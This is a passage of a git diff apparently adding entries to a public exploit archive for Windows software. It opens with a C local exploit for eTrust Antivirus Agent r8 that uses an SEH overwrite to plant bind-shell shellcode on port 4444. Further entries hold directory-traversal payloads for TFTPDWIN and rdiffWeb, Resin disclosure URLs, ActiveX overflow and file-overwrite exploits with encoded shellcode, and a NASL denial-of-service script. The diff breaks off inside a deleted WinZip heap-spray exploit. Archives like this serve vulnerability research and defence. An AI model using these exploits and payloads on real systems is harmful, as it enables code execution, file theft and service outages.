+	The vulnerable code is located at IN0CORE.DLL in the function QSIGetQueueID 
+	which internally calls QSIGetQuePath passing a fixed buffer in order to 
+	retrieve the queue path, no validation is done for the buffer size.
+	
+	In order to exploit the vulnerability, malicious users can modify directly
+	the buffer through the file mapping with a long file path, so when InnoTask 
+	read it	the mentioned stack-based buffer overflow will be triggered.
+
+
+ Technical notes about the exploit:
+ 	
+	Although the component was compiled with /GS option is still possible to exploit it:
+	
+	The IONOQSIQSYSINFO filemapping has enough size to contain a long file path which
+	after overflowing return address and SEH Handlers will reach the end of the stack,
+	causing an access exception to be raised, then we can point the exception handler
+	to a memory containing a (pop,pop,ret) or (call [esp+8]) sequence, this isnt a problem
+	for W2K or XPSP1 because we have such sequence in a valid offset in the Inocore.dll
+	itself, but could pose one for WXP-SP2 or W2K3 where exception handlers must be
+	registered, i have found some addresses valid which can be used at least on my
+	test machine under XP-SP2, the PoC i have coded search in AnsiCodePageData
+	mapping in order to try to find one valid for your machine if XPSP2 or W2K3 are
+	detected, perhaps there are other ways to exploit it in a more efficient way but
+	this is only a PoC.
+	
+
+
+ Disassembly: 
+
+////////////////////////////////////////////////////////////////////////////////////////////////
+
+QSIGetQueuePath
+
+.text:6DC82BD0 QSIGetQueuePath proc near               ; CODE XREF: QSIGetQueueUsersFile+24p
+.text:6DC82BD0                                         ; QSIGetQueueJobsFile+24p ...
+.text:6DC82BD0
+.text:6DC82BD0 var_110         = byte ptr -110h
+.text:6DC82BD0 var_4           = dword ptr -4
+.text:6DC82BD0 arg_0           = dword ptr  8
+.text:6DC82BD0 arg_4           = dword ptr  0Ch
+.text:6DC82BD0 arg_8           = dword ptr  10h
+.text:6DC82BD0 arg_C           = dword ptr  14h
+.text:6DC82BD0
+.text:6DC82BD0                 push    ebp
+.text:6DC82BD1                 mov     ebp, esp
+.text:6DC82BD3                 and     esp, 0FFFFFFF8h
+.text:6DC82BD6                 sub     esp, 110h
+.text:6DC82BDC                 mov     eax, dword_6DC913F8
+.text:6DC82BE1                 mov     [esp+110h+var_4], eax
+.text:6DC82BE8                 push    esi
+.text:6DC82BE9                 mov     esi, [ebp+arg_4]
+.text:6DC82BEC                 push    edi
+.text:6DC82BED                 xor     eax, eax
+.text:6DC82BEF                 mov     [esp+118h+var_110], 0
+.text:6DC82BF4                 mov     ecx, 40h
+.text:6DC82BF9                 lea     edi, [esp+9]
+.text:6DC82BFD                 rep stosd
+.text:6DC82BFF                 stosw
+.text:6DC82C01                 stosb
+.text:6DC82C02                 mov     eax, [ebp+arg_C]
+.text:6DC82C05                 test    eax, eax
+.text:6DC82C07                 mov     byte ptr [esi], 0
+.text:6DC82C0A                 jz      loc_6DC82CA2
+.text:6DC82C10                 mov     eax, [ebp+arg_8]
+.text:6DC82C13                 test    eax, eax
+.text:6DC82C15                 mov     edi, [ebp+arg_0]
+.text:6DC82C18                 jnz     short loc_6DC82C2F
+.text:6DC82C1A                 mov     ecx, _filemap
+.text:6DC82C20                 mov     eax, edi
+.text:6DC82C22                 imul    eax, 194h
+.text:6DC82C28                 lea     eax, [eax+ecx-144h]
+.text:6DC82C2F
+.text:6DC82C2F loc_6DC82C2F:                           ; CODE XREF: QSIGetQueuePath+48j
+.text:6DC82C2F                 push    eax             ; unsigned __int8 *
+.text:6DC82C30                 push    esi             ; unsigned __int8 *
+.text:6DC82C31                 call    ds:_mbscpy      <- Here we can trigger the overflow!
+
+
+And here is the call referenced from QSIGetQueueID ... 
+
+.text:6DC85CF3 loc_6DC85CF3:                           ; CODE XREF: QSIGetQueueID+AAj
+.text:6DC85CF3                 push    1               ; int
+.text:6DC85CF5                 push    0               ; int
+.text:6DC85CF7                 lea     ecx, [esp+120h+var_108] < - Overflowed var
+.text:6DC85CFB                 push    ecx             ; unsigned __int8 *
+.text:6DC85CFC                 push    eax             ; int
+.text:6DC85CFD                 mov     [esp+128h+var_108], 0
+.text:6DC85D02                 call    QSIGetQueuePath         <- !!
+
+////////////////////////////////////////////////////////////////////////////////////////////////
+
+ 
+ References:
+
+  - Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft 
+    Windows 2003 Server. (David Litchfield, NGSSoftware).
+
+ Vulnerability discovered and analysis performed by:
+
+   binagres  -=-  binagres[4t]gmail.com
+   --
+   48Bits[I+D Team]
+
+   www.48bits.com
+   blog.48bits.com
+
+*/
+
+
+#include <stdio.h>
+#include <windows.h>
+
+#define Mapping           "Global\\INOQSIQSYSINFO"
+#define PathNameOffset	   0x24C
+#define HandlerOffset     (0x2F8+PathNameOffset)
+#define Base2Search       (BYTE *)(0x7ffb0000)    //	AnsiCodePageData
+
+//#define Off2popAndRet  0x7FFc07A4              <-    This offset works for me on a VMWare witch XPSP2. 
+
+#define NOSP_Off2popAndRet (BYTE *)(0x6DC8102B)   //    Universal offset for SOs without stack protection. 
+                                                  //    The address is inside inocore.dll:
+                                                  //    pop edi ; xor eax, eax ; pop ebx ; ret
+
+
+/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
+static unsigned char scode[] =
+"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd1"
+"\xd7\x17\x54\x83\xeb\xfc\xe2\xf4\x2d\xbd\xfc\x19\x39\x2e\xe8\xab"
+"\x2e\xb7\x9c\x38\xf5\xf3\x9c\x11\xed\x5c\x6b\x51\xa9\xd6\xf8\xdf"
+"\x9e\xcf\x9c\x0b\xf1\xd6\xfc\x1d\x5a\xe3\x9c\x55\x3f\xe6\xd7\xcd"
+"\x7d\x53\xd7\x20\xd6\x16\xdd\x59\xd0\x15\xfc\xa0\xea\x83\x33\x7c"
+"\xa4\x32\x9c\x0b\xf5\xd6\xfc\x32\x5a\xdb\x5c\xdf\x8e\xcb\x16\xbf"
+"\xd2\xfb\x9c\xdd\xbd\xf3\x0b\x35\x12\xe6\xcc\x30\x5a\x94\x27\xdf"
+"\x91\xdb\x9c\x24\xcd\x7a\x9c\x14\xd9\x89\x7f\xda\x9f\xd9\xfb\x04"
+"\x2e\x01\x71\x07\xb7\xbf\x24\x66\xb9\xa0\x64\x66\x8e\x83\xe8\x84"
+"\xb9\x1c\xfa\xa8\xea\x87\xe8\x82\x8e\x5e\xf2\x32\x50\x3a\x1f\x56"
+"\x84\xbd\x15\xab\x01\xbf\xce\x5d\x24\x7a\x40\xab\x07\x84\x44\x07"
+"\x82\x84\x54\x07\x92\x84\xe8\x84\xb7\xbf\x06\x08\xb7\x84\x9e\xb5"
+"\x44\xbf\xb3\x4e\xa1\x10\x40\xab\x07\xbd\x07\x05\x84\x28\xc7\x3c"
+"\x75\x7a\x39\xbd\x86\x28\xc1\x07\x84\x28\xc7\x3c\x34\x9e\x91\x1d"
+"\x86\x28\xc1\x04\x85\x83\x42\xab\x01\x44\x7f\xb3\xa8\x11\x6e\x03"
+"\x2e\x01\x42\xab\x01\xb1\x7d\x30\xb7\xbf\x74\x39\x58\x32\x7d\x04"
+"\x88\xfe\xdb\xdd\x36\xbd\x53\xdd\x33\xe6\xd7\xa7\x7b\x29\x55\x79"
+"\x2f\x95\x3b\xc7\x5c\xad\x2f\xff\x7a\x7c\x7f\x26\x2f\x64\x01\xab"
+"\xa4\x93\xe8\x82\x8a\x80\x45\x05\x80\x86\x7d\x55\x80\x86\x42\x05"
+"\x2e\x07\x7f\xf9\x08\xd2\xd9\x07\x2e\x01\x7d\xab\x2e\xe0\xe8\x84"
+"\x5a\x80\xeb\xd7\x15\xb3\xe8\x82\x83\x28\xc7\x3c\x21\x5d\x13\x0b"
+"\x82\x28\xc1\xab\x01\xd7\x17\x54";
+
+
+
+BYTE * find_jmp (BYTE *lpAddress, DWORD dwSize)
+{	
+	DWORD i;
+	BYTE *p;
+	BYTE *retval = NULL;	
+
+	for (i=0;i<(dwSize-4);i++)
+	{
+		p = lpAddress + i;
+
+		//  POP + POP + RET
+
+		if ((p[0] > 0x57) && (p[0] < 0x5F) && (p[1] > 0x57) && (p[1] < 0x5F) && (p[2] > 0xC1) && (p[2] < 0xC4))
+		{
+			retval = p;
+			break;
+		}
+
+		//  CALL DWORD PTR [ESP+8]
+
+		if   (   (p[0] == 0xFF) && 
+			     (p[1] == 0x54) && 
+			     (p[2] == 0x24) && 
+			     (p[3]==0x8) )
+		{
+			retval = p;
+			break;
+		}
+	}
+
+	return retval;
+
+}
+
+void main (int argc, char **argv)
+{
+	HANDLE hMap;
+	BYTE   *lpMap;
+	int		i;
+	BYTE   *Off2popAndRet=NULL;
+	OSVERSIONINFOA  osvi;
+	
+	printf( " -------------------------------------\n"
+		    " Exploit for eTrust Antivirus Agent r8\n"
+	        " -------------------------------------\n\n"
+	        "binagres -=- binagres[4t]gmail.com\n"
+			" --\n"
+	        " 48Bits.com\n"
+			" blog.48bits.com\n\n");
+
+	       
+
+	printf("Opening file mapping  ... \n");
+
+	if ( (hMap = OpenFileMappingA(FILE_MAP_ALL_ACCESS,FALSE, Mapping)) )
+	{
+
+		if ( (lpMap = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0)) )
+		{
+			// Current file path stored in the mapping.
+			printf("Current path %s\n", lpMap+ PathNameOffset);
+		}
+
+		else
+		{
+			printf("Error while Mapping view of file\n");
+			return;
+		}			
+
+		osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
+		GetVersionEx(&osvi);
+
+		// OS detection ...
+
+		if ( osvi.dwMajorVersion < 5 )
+		{
+			printf("Using universal offset\n");
+			Off2popAndRet = NOSP_Off2popAndRet;
+		}
+
+		else
+		{
+			switch (osvi.dwMinorVersion)
+			{
+			case 0: 
+				printf("W2K detected: using universal offset\n");
+				Off2popAndRet = NOSP_Off2popAndRet;
+				break;
+
+			case 1:
+
+				if (lstrcmpi("Service Pack 2", osvi.szCSDVersion))
+				{
+					Off2popAndRet = NOSP_Off2popAndRet;
+					printf("WXP - %s - detected, using universal offset\n",osvi.szCSDVersion);
+				}
+
+				else
+				{
+					printf("WXP - SP2 Detected no universal offset\n");
+				}
+				break;
+
+			case 2:
+				printf("W2K3 - %s - detected no universal offset\n");
+				break;
+			}
+		}
+		
+
+		// Try to find the jmpcode by other way...
+
+		if (!Off2popAndRet)
+		{
+			Off2popAndRet = find_jmp(Base2Search,0x20000);
+		}
+		
+
+		// Have we any jmp code?
+		
+		if(Off2popAndRet)
+		{
+
+			printf("Valid Offset found at 0x%p!!\n", Off2popAndRet);
+
+			// Write Shellcode
+
+			for ( i = 0 ; i< sizeof(scode) ; i++ )
+			{
+				*(lpMap+ PathNameOffset + i) = scode[i];
+			}
+
+			// Fill the rest of the map - we want an access exception!! :-)
+
+			for ( i = PathNameOffset + sizeof(scode) - 1; i<0x1000 ; i++ )
+			{
+				*(lpMap+i) = 0x90;
+			}
+			
+			// Offsets and jmps party 
+			
+			* ((DWORD *)(lpMap+ HandlerOffset - 4)) = 0x909006EB; // jmp $+6
+			* ((DWORD *)(lpMap+ HandlerOffset)) = (DWORD) Off2popAndRet;
+			* ((DWORD *)(lpMap+ HandlerOffset + 4)) = 0xFFFCFFE9; //  for..
+			* ((BYTE  *)(lpMap+ HandlerOffset + 8)) = 0xFF;       //  jmp (shellcode)
+
+			printf("Attack launched ... wait a few seconds and try \"telnet localhost 4444\" \n");
+
+		}	
+
+		else
+		{
+			printf("Cannot find a jmpcode try it by yourself :-(\n");
+		}
+	}
+
+	else 
+	{
+		printf("Cannot find eTrust filemapping\n");
+	}
+}
diff --git a/platforms/windows/remote/30026.txt b/platforms/windows/remote/30026.txt
new file mode 100755
index 000000000..43e46a447
--- /dev/null
+++ b/platforms/windows/remote/30026.txt
@@ -0,0 +1,16 @@
+source: http://www.securityfocus.com/bid/23937/info
+
+TFTP Server TFTPDWIN is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.
+
+Exploiting this issue allows an attacker to gain read/write access to privileged directories and files.
+
+TFTP Server TFTPDWIN 0.4.2 is vulnerable; other versions may also be affected. 
+
+../../../boot.ini
+../../boot.ini
+../../../boot.ini
+../../../../boot.ini
+../../../../../boot.ini
+../../../../../../boot.ini
+../../../../../../../boot.ini
+../../../../../../../../boot.ini 
\ No newline at end of file
diff --git a/platforms/windows/remote/30037.txt b/platforms/windows/remote/30037.txt
new file mode 100755
index 000000000..ba9945b39
--- /dev/null
+++ b/platforms/windows/remote/30037.txt
@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/23985/info
+
+Caucho Resin is prone to multiple information-disclosure vulnerabilities because it fails to adequately sanitize user-supplied data.
+
+Attackers can exploit these issues to access potentially sensitive data that may aid in further attacks.
+
+Resin 3.1.0 is vulnerable; other versions may also be affected.
+
+NOTE: According to the application's 3.1.1 change log, these issues affect the server only when installed on Microsoft Windows. 
+
+http://www.example.com:8080/%20
\ No newline at end of file
diff --git a/platforms/windows/remote/30038.txt b/platforms/windows/remote/30038.txt
new file mode 100755
index 000000000..cd1888c5c
--- /dev/null
+++ b/platforms/windows/remote/30038.txt
@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/23985/info
+ 
+Caucho Resin is prone to multiple information-disclosure vulnerabilities because it fails to adequately sanitize user-supplied data.
+ 
+Attackers can exploit these issues to access potentially sensitive data that may aid in further attacks.
+ 
+Resin 3.1.0 is vulnerable; other versions may also be affected.
+ 
+NOTE: According to the application's 3.1.1 change log, these issues affect the server only when installed on Microsoft Windows. 
+
+http://www.example.com:8080/%20..\web-inf
\ No newline at end of file
diff --git a/platforms/windows/remote/30045.html b/platforms/windows/remote/30045.html
new file mode 100755
index 000000000..07ce1c6f5
--- /dev/null
+++ b/platforms/windows/remote/30045.html
@@ -0,0 +1,46 @@
+source: http://www.securityfocus.com/bid/24014/info
+
+<pre>
+<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/16</b></p></span>
+<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------
+ <b>IE 6 PrecisionID Barcode ActiveX 1.9 0day (PrecisionID_Barcode.dll) Remote Arbitrary File Overwrite</b>
+ url: http://www.precisionid.com/
+
+ author: shinnai
+ mail: shinnai[at]autistici[dot]org
+ site: http://shinnai.altervista.org
+ 
+ This was written for educational purpose. Use it at your own risk.
+ Author will be not be responsible for any damage.
+ 
+ <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
+ IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>
+
+ Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
+ all software that use this ocx are vulnerable to these exploits.
+
+ If you try this exploit with IE 7, it just stops to answer
+-----------------------------------------------------------------------------------------------------
+
+<object classid='clsid:731766D0-8541-11DB-99C1-0050C2490048' id='test'></object>
+
+<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
+
+<script language='vbscript'>
+ Sub tryMe
+  On Error Resume Next
+   Dim MyMsg
+   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
+             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
+             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
+             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
+             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
+    test.SaveToFile "c:\windows\system_.ini"
+    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode")
+   Else
+    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/16 - PrecisionID Barcode ActiveX")
+   End If 
+ End Sub
+</script>
+</span></span>
+</code></pre>
\ No newline at end of file
diff --git a/platforms/windows/remote/30049.html b/platforms/windows/remote/30049.html
new file mode 100755
index 000000000..d32ea936d
--- /dev/null
+++ b/platforms/windows/remote/30049.html
@@ -0,0 +1,94 @@
+source: http://www.securityfocus.com/bid/24035/info
+
+LEADTOOLS Multimedia is prone to a stack-based buffer-overflow vulnerability because the software fails to adequately check boundaries on data supplied to an ActiveX control method.
+
+An attacker can exploit this issue to execute arbitrary code in the context of a user running the application. Failed attempts will likely result in denial-of-service conditions.
+
+LEADTOOLS Multimedia 15 is vulnerable; other versions may also be affected.
+
+NOTE: The 'Ltmm15.dll' ActiveX control is included in Digital Music Mentor 2.6.0.4. Other applications may also include the ActiveX control. 
+
+<span 
+class="general1-symbol">--------------------------------------------------------------------------------
+ Sienzo Digital Music Mentor (DMM) 2.6.0.4 (ltmm15.dll) Buffer Overflow 
+Exploit
+ url: http://www.sienzo.com/
+ price: $59.95
+
+ author: shinnai
+ mail: shinnai[at]autistici[dot]org
+ site: http://shinnai.altervista.org
+
+ Tested on Windows XP Professional SP2 full patched
+ 
+ <b>ltmm15.dll v. 15.1.0.2 is vulnerable to a stack-based buffer 
+overflow that 
+ allows arbitrary code execution.</b>
+
+ <font color="red"><b>This exploits just open calc.exe</b></font>
+--------------------------------------------------------------------------------
+
+<object classid="clsid:00150BA1-B1BA-11CE-ABC6-F5B2E79D9E3F" 
+id="test"></object>
+
+<input language="VBScript" onclick="tryMe()" value="Click here to start 
+the LockModules test" type="button">
+
+<script language="vbscript">
+ Sub tryMe
+  buff      = String(296,"A")
+
+  get_EIP   = unescape("%EB%AA%3F%7E") 'call ESP (from user32.dll)
+
+  nop       = unescape("%90%90%90%90%90%90%90%90%90%90%90%90")
+
+  shellcode = 
+unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
+              
+unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
+              
+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
+              
+unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
+              
+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
+              
+unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
+              
+unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
+              
+unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
+              
+unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
+              
+unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
+              
+unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
+              
+unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
+              
+unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
+              
+unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
+              
+unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
+              
+unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
+              
+unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
+              
+unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
+              
+unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
+              
+unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
+              
+unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
+              unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")
+
+  egg       = buff + get_EIP + nop + shellcode + nop
+
+  test.UnlockSupport 1, egg
+ End Sub
+</script>
+</span>
diff --git a/platforms/windows/remote/30067.txt b/platforms/windows/remote/30067.txt
new file mode 100755
index 000000000..069de8ad4
--- /dev/null
+++ b/platforms/windows/remote/30067.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24092/info
+
+rdiffWeb is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.
+
+An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.
+
+This issue affects rdiffWeb 0.3.5; other versions may also be affected. 
+
+http://localhost:8080/browse/?repo=b&path=..%2F..%2F..%2Fetc 
\ No newline at end of file
diff --git a/platforms/windows/remote/30069.html b/platforms/windows/remote/30069.html
new file mode 100755
index 000000000..75d3c1d53
--- /dev/null
+++ b/platforms/windows/remote/30069.html
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24099/info
+
+The Dart ZipLite Compression ActiveX control is prone to a buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.
+
+Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.
+
+Dart ZipLite Compression ActiveX control 1.8.5.3 is vulnerable to this issue; other versions may also be affected. 
+
+<pre> <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/22</b></p></span> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------------------------- <b>Dart ZipLite Compression for ActiveX (DartZipLite.dll v. 1.8.5.3) Local Buffer Overflow Exploit</b> url: http://www.dart.com/ author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org Special thanks to <b><font color=red>rgod</font></b> that found the bug in DartZip.dll for his exploit see <a href="http://retrogod.altervista.org/ie_DartZip_bof.html">http://retrogod.altervista.org/ie_DartZip_bof.html</a> ------------------------------------------------------------------------------------------------- <object classid='clsid:42BA826E-F8D8-4D8D-8C05-14ABCE00D4DD' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language = 'vbscript'> Sub tryMe() buff = String(1024, "A") get_EIP = unescape("%EB%AA%3F%7E") buff1 = String(28, "A") nop = String(16, unescape("%90")) shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _ unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _ unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _ unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _ unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _ unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _ unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _ unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _ unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _ unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _ unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _ unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _ unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _ unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _ unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _ unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _ unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _ unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _ unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _ unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _ unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _ unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a") egg = buff + get_EIP + buff1 + nop + shellcode + nop test.QuickZip egg, "default", True, True, "default", 1 End Sub </script> </span></span> </code></pre> 
\ No newline at end of file
diff --git a/platforms/windows/remote/30100.html b/platforms/windows/remote/30100.html
new file mode 100755
index 000000000..61c61e645
--- /dev/null
+++ b/platforms/windows/remote/30100.html
@@ -0,0 +1,29 @@
+source: http://www.securityfocus.com/bid/24219/info
+
+The British Telecommunications Consumer Webhelper ActiveX control is prone to multiple buffer-overflow vulnerabilities because it fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.
+
+Successfully exploiting these issues allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.
+
+Versions of British Telecommunications Consumer Webhelper ActiveX Control prior to 2.0.0.8 are vulnerable to these issues. 
+
+<!--
+
+British Telecommunications Consumer Webhelper Multiple Buffer Overflow POC
+By Parveen Vashishtha
+
+Desc:
+This is just POC.
+
+Tested on Windows XP SP2 English fully patched.
+
+-->
+
+<html>
+<object classid=&#039;clsid:EC5A4E7B-02EB-451D-B310-D5F2E0A4D8C3&#039; id=&#039;bt&#039;></object>
+<script language=&#039;vbscript&#039;>
+
+var=String(128, "A")
+
+bt.IsICMActive var 
+
+</script></html>
\ No newline at end of file
diff --git a/platforms/windows/remote/30104.nasl b/platforms/windows/remote/30104.nasl
new file mode 100755
index 000000000..d5bc21d40
--- /dev/null
+++ b/platforms/windows/remote/30104.nasl
@@ -0,0 +1,76 @@
+source: http://www.securityfocus.com/bid/24233/info
+
+F-Secure Policy Manager is prone to a remote denial-of-service vulnerability because the application fails to propelry handle unexpected conditions.
+
+Exploiting this issue allows remote attackers to crash affected applications, denying further service to legitimate users. The vendor states that this application is typically available only to internal networks, making remote exploits over the Internet less likely.
+
+Versions of F-Secure Policy Manager prior to 7.01 are vulnerable. 
+
+#
+# This script was written by David Maciejak <david dot maciejak at gmail dot com>
+#
+
+if(description)
+{
+script_id(50000);
+
+script_version("$Revision: 1.0 $");
+script_name(english:"F-Secure Policy Manager Server fsmsh.dll module DoS");
+
+desc["english"] = "
+Synopsis :
+
+The remote host is an F-Secure Policy Manager Server.
+
+Description :
+
+The remote host is running a version a F-Secure Policy Manager Server which
+is vulnerable to a denial of service.
+A malicious user can forged a request to query a MS-DOS device name through
+fsmsh.dll CGI module causing the service to stop answer to legitimate users.
+
+Solution :
+
+Not available for now.
+
+Risk factor :
+
+High";
+
+script_description(english:desc["english"]);
+script_summary(english:"Detects F-Secure Policy Manager DoS flaw");
+
+ script_category(ACT_DENIAL);
+ script_copyright(english:"This script is Copyright (C) 2007 David Maciejak");
+ script_family(english:"Denial of Service");
+ script_require_ports("Services/www", 80);
+ exit(0);
+}
+
+include("http_func.inc");
+include("http_keepalive.inc");
+
+port = get_http_port(default:80);
+if ( ! port ) exit(0);
+if(!get_port_state(port))exit(0);
+
+if (safe_checks())
+{
+  # only check FSMSH.DLL version
+  buf = http_get(item:"/fsms/fsmsh.dll?FSMSCommand=GetVersion", port:port);
+  r = http_keepalive_send_recv(port:port, data:buf, bodyonly:1);
+  if( r == NULL )exit(0);
+  #this could generate false positive on Linux platform
+  if ("7.00.7038" >< r ) {
+   	 security_hole(port);
+  }
+  exit(0);  
+}
+
+buf = http_get(item:"/fsms/fsmsh.dll?FSMSCommand=DownloadPackage&Type=25&Filename=\install\dbupdate\CON", port:port);
+r = http_keepalive_send_recv(port:port, data:buf, bodyonly:1);
+buf = http_get(item:"/fsms/fsmsh.dll?FSMSCommand=GetVersion", port:port);
+r = http_keepalive_send_recv(port:port, data:buf, bodyonly:1);
+if( r == NULL ) { 
+	 security_hole(port);
+}
diff --git a/platforms/windows/remote/3420.html b/platforms/windows/remote/3420.html
index 4d3f23af5..b9d9ae7eb 100755
--- a/platforms/windows/remote/3420.html
+++ b/platforms/windows/remote/3420.html
@@ -1,38 +1,38 @@
-<!--
-prdelka
-http://blogs.23.nu/prdelka
-
-I made a version of my winzip exploit that utilises the heap spray 
-method with a bindshell for some project or other. you can download a 
-copy here if its of use to you, note i used a different method courtesy 
-of http://www.milw0rm.com/exploits/3055 - however i couldnt get their 
-exploit to function. enjoy. 
--->
-
-<HTML>
-<HEAD>
-<meta http-equiv="refresh" content="0">
-<TITLE></TITLE>
-</HEAD>
-<BODY>
-<OBJECT ID="WZFILEVIEW" WIDTH=50 HEIGHT=50 CLASSID="CLSID:A09AE68F-B14D-43ED-B713-BA413F034904"></OBJECT>
-<script type="text/javascript">
